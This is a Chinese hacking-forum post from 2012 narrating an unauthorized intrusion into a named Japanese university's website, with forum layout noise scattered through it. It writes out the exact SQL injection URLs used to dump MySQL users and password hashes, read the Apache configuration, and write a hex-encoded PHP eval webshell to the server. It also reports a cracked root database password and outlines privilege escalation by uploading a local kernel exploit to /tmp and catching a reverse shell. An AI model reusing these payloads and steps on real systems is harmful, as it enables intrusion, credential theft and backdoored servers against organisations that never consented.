找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2440|回复: 0
打印 上一主题 下一主题

入侵日本同志社大学

[复制链接]
跳转到指定楼层
楼主
发表于 2012-11-21 13:48:02 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
入侵日本同志社大学技术分析
9 i0 R$ S# K. ]' t
! R5 ~3 [* U% r+ J" Hhttp://www.doshisha.ac.jp/chs/news/index.php?i=-1# @& s" b  n0 x: m4 {) b6 e) q
然后联合查询,猜字段,查版本,查密码,读取文件…….就是各种查啊,语句是:7 P. H2 ]5 s+ u+ `5 Z
% V; R* ]9 }) E+ O: ?; x# Y
http://www.doshisha.ac.jp/chs/news/index.php?i=-1+union+select+1,@@datadir,3,load_file(‘/etc/httpd/conf/httpd.conf’),5,group_concat(DISTINCT+user,0x3a,password,0x3a,file_priv,0x3a,host),7,8+from+mysql.user
5 {2 B/ q6 o4 V, a9 [+ b2 T! C+ \4 P( T4 Z  j; g1 g. {

0 y3 w8 K9 K4 _8 m  Y7 h4 G8 X1 r- f$ M
//@@datadir为数据库文件路径 ) P$ ?9 ~- p3 R) y

8 X; D! k8 z. i# \& @3 W9 {
6 `+ A6 |7 k$ R6 i6 A//load_file读取网站容器apache的配置文件
6 w: P, H* I+ H: u. `: d ; v" O$ q9 D: d
2 P$ h0 N1 C$ p" Y% I/ m3 l8 ^
//group_concat读取MySQL管理员的名字、密码、是否允许读写文件和允许登录的远程计算机 ; o" J$ W- a8 \
复制代码2 `  d3 \$ V8 O0 v" L" Q

5 T5 E; f9 m7 ^. `2 u; l; l虽然解得MySQL的root账户密码为mysql00,但是host为localhost,只允许本机登陆,所以用处不大。
3 p: K" s$ w6 q7 A0 J, }$ Y& R3 P8 h; S5 |. u" o3 |5 @, G3 j
而且Apache的配置文件显示,服务器拒绝非该大学的ip访问/admin/和phpMyAdmin,所以即使爆出管理员账户密码也没用。6 X- t6 A2 t9 E3 V
(大家对以上各种查和语句不太懂的可以参考以下文章:http://bbs.blackbap.org/thread-2243-1-1.html)$ k+ j; V5 D+ O3 t+ R  ]$ @

: K. d# z8 k! q% c; s. N  V1 t前面load_file是因为发现了各文件夹权限限制的死,不允许外校ip登陆,所以就猜了一下apache的配置文件绝对路径为默认,后来发现还真的是默认的路径。4 F9 {5 {' I5 A- g- w
如果知道怎么猜apache配置文件的路径的请参考以下文章:http://bbs.blackbap.org/thread-2242-1-1.html0 R8 ?* C! K7 {" h) X9 }5 e
7 b$ ~9 Q1 t3 o
既然已经知道了Apache的配置文件的内容,我们也就轻易知道了网站物理路径,路径为:/http/www/koho/
3 K/ u) O+ m2 S, W1 e. U! h虽然/admin和phpMyAdmin的目录都限制了,但是想了想,我们只要有注入点就可以可以写入shell了,因为php的GPC为off,怎么判断为off我就不说了。
7 q# U4 j( h; {# z+ u直接写一句话:
, Q3 \! r9 v  _9 q: O8 e6 B7 ~$ w! D' Y  q5 I" Q- F
http://www.doshisha.ac.jp/chs/news/index.php?i=-1+union+select+ 0x3C3F70687020406576616C28245F504F53545B27636D64275D293B3F3E,0x3c3f2f2a,3,4,5,6,7,0x2a2f3f3e+into+outfile+’/http/www/koho/english/engnews_img/aa.php’#' P( @* G  w) S" J* {/ b: S" A8 B

# a$ y- E& b; F5 M# a/ r/ U* | ) c* Z0 Q0 f( r; w2 W

  }+ s; S2 w$ V# r, S* v) g- b//最后的#是为了闭合前面的语句 0 F. |4 ]4 K1 k0 @: A  _) {

) U! n2 B* z6 H9 L; [! k9 L7 M; f" X) o6 c, {- v2 c1 W
/*其中的0x3C3F70687020406576616C28245F504F53545B27636D64275D293B3F3E : O5 A: H/ f4 }4 V2 k8 r

. O; z8 Z. y- T; @! O0 [, _" |7 D! ?% k/ y3 l3 o4 |6 X2 Y
为一句话<?php @eval($_POST['cmd']);?>的HEX编码,不懂(HEX编码)的话Google一下就好*/
( G0 Z5 u- z  k; H+ y* X0 G
! R% A3 K+ ~1 D& S' T2 G. g8 N: \& Z: |0 O
//如果直接select 一句话 into outfile ‘路径’会提示字段数不同,所以select 1,2,3,4…来执行注入语句 + {% t  E; Y) n6 _( v/ Z0 I, G
" C3 L+ q( i! ^4 X+ F% o0 n3 O0 L

( S  [- O# H- [" {+ W" |7 b//后面的0x3c3f2f2a和0x2a2f3f3e分别为’<?php //’的和’?>’HEX因为select后面的3,4,5,6会被写入webshell中,可能会导致一句话执行错误 8 R; r2 s. J4 S( \3 Z+ r. n
//所以最后aa.php的内容就是”<?php @eval($_POST['cmd']);?><?php //3,4,5,6,7 ?>”
4 K$ l8 `0 Q0 Z- g& q2 d$ ?复制代码. T+ x, F0 N+ @$ \
+ ~% H8 `7 K3 N
HEX其实就是十六进制编码,不知道这个编码的话,去搜一下好了,HEX编码转换在线本地各种工具各种有3 u/ \* U0 U/ K! `2 A0 O
通过上述注入语句,我们就得到了一句话木马:) V# t5 F) P5 G

/ m5 p  i. X& V# _7 a
# [8 v. Y% l) o5 ]1 `5 f7 I; l" r, Y& l1 N" E, w/ i, M

; H4 @* F1 y% _, C3 B' W
" E- Q2 c1 G! mhttp://www.doshisha.ac.jp/english/engnews_img/aa.php
% t( p$ v- ], }  L复制代码# b& P6 P- I0 G) Z! W. Z2 G
4 z- E" R. @$ o- r& Z6 v" s5 l
用菜刀连接,密码是cmd,如图所示:
$ D1 D4 B; ^& Y  t1 v& n然后在命令提示行里看了一下,现在的权限是:+ ~# @; I5 `9 S! P
8 x6 |/ \" Z) _8 [3 [& b
之后按照惯例我看了一下/tmp/文件夹,发现/TMP/权限居然被禁掉了,很少有服务器禁掉这个文件夹的。. I, |& U% X/ M6 j& {- A7 `
好在赋权给这个文件夹不需要root,直接执行赋权语句:
* J2 e7 F: ^: g% t3 ~4 ^5 w( H' k+ D0 B9 [
8 i; D5 h9 d% `: T( U
4 I# P+ j5 U: I: v9 _

( n3 X$ m/ `' T5 q: T
/ b' n2 H( s$ K8 E4 o7 F& Achmod +x /tmp/
/ v, w; c% Y4 `3 V$ f复制代码& q5 y9 o0 S+ [5 H: n6 G. ?1 Z( n
6 j- i" Y4 F7 `" W+ ]
在这说一下,linux里面的文件夹跟文件一样,执行命令自然也可以按照像文件一样的执行
+ {* E. }" ]1 h" Y: b; ^! p" z然后就查了一下内核版本:3 P: |  N: \$ A. L8 X
' r3 B& y, x( q, P& h
$ D0 `. F3 e5 a( o" m& ~4 W( ]0 g

: E5 ~: P+ w& x3 m; l& q4 A ) \1 N5 q& ^/ {& O& S

1 r2 i4 I6 f  V( f- V: L$ Xuname-a 4 x% s- |2 e3 f! t+ D- |1 J  U6 c

  X1 v# f1 O2 j/ W
6 ?* q) w4 _; S+ V: u7 o+ [8 N//其实lsb_release -a ) C; j! N" V0 l: o, ~% ^9 ?
复制代码
% L1 W7 Z5 E3 o# o2 O7 U& W
0 O% `- \& }/ N, J& Y# }0 |. g/ m1 }如图所示:8 a* s# I* \9 r$ Z3 |% f

1 R, n/ r7 G1 d内核版本:linux mainz1 2.6.28-194.e15  P7 X. q0 F7 l
系统描述为:Red Hat Enterprise Linux Server release 5.5 (Tikanga)
! }5 W! U3 A# \  ?* \, F查完了系统版本之后就去找找相应的提权脚本!~然后传到/tmp/文件夹
. d$ i1 |; O* f- b7 q/ Z
4 U. w. ?7 H) S. m然后给予执行权限& U  b" ^9 t2 o5 T. ]3 Y" z/ B1 Z
一般我都是传上去c源文件,然后”gcc -o /tmp/程序 /tmp/C源码”这样,如果gcc不能用,在其他机器编译好了直接传上去其实也可以,就像这样
5 o/ t8 o9 ^! I% N5 F5 \. z; ]" _9 g& P; i
- L6 V- U& ^. S

+ a# ?7 ]7 `6 r7 N( j
+ F. m7 ^: ]4 N0 _
6 e( M% s9 Y& V: Zchmod +x /tmp/2.6.18-194
: D, L8 ]" y# [9 K8 J7 |复制代码 然后直接执行!~
. E$ E0 J' l7 O# z( W' ^" m* n4 W: r" d
总结:
( [# g/ w  w- e/ t* R# k这个注入点的基本思路就是,发现MySQL账户为root,GPC设置为off,搞到了物理路径就直接写Webshell了
# v, P" W1 `* A$ J4 p提权部分原理就是,本地监听端口,将对方机器反弹回cmdshell来,然后把和内核版本对应的EXP传上去,编译运行,得到root- ]1 a9 l0 }/ I
, `3 U/ |# _8 P2 @+ _6 h; `: m
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表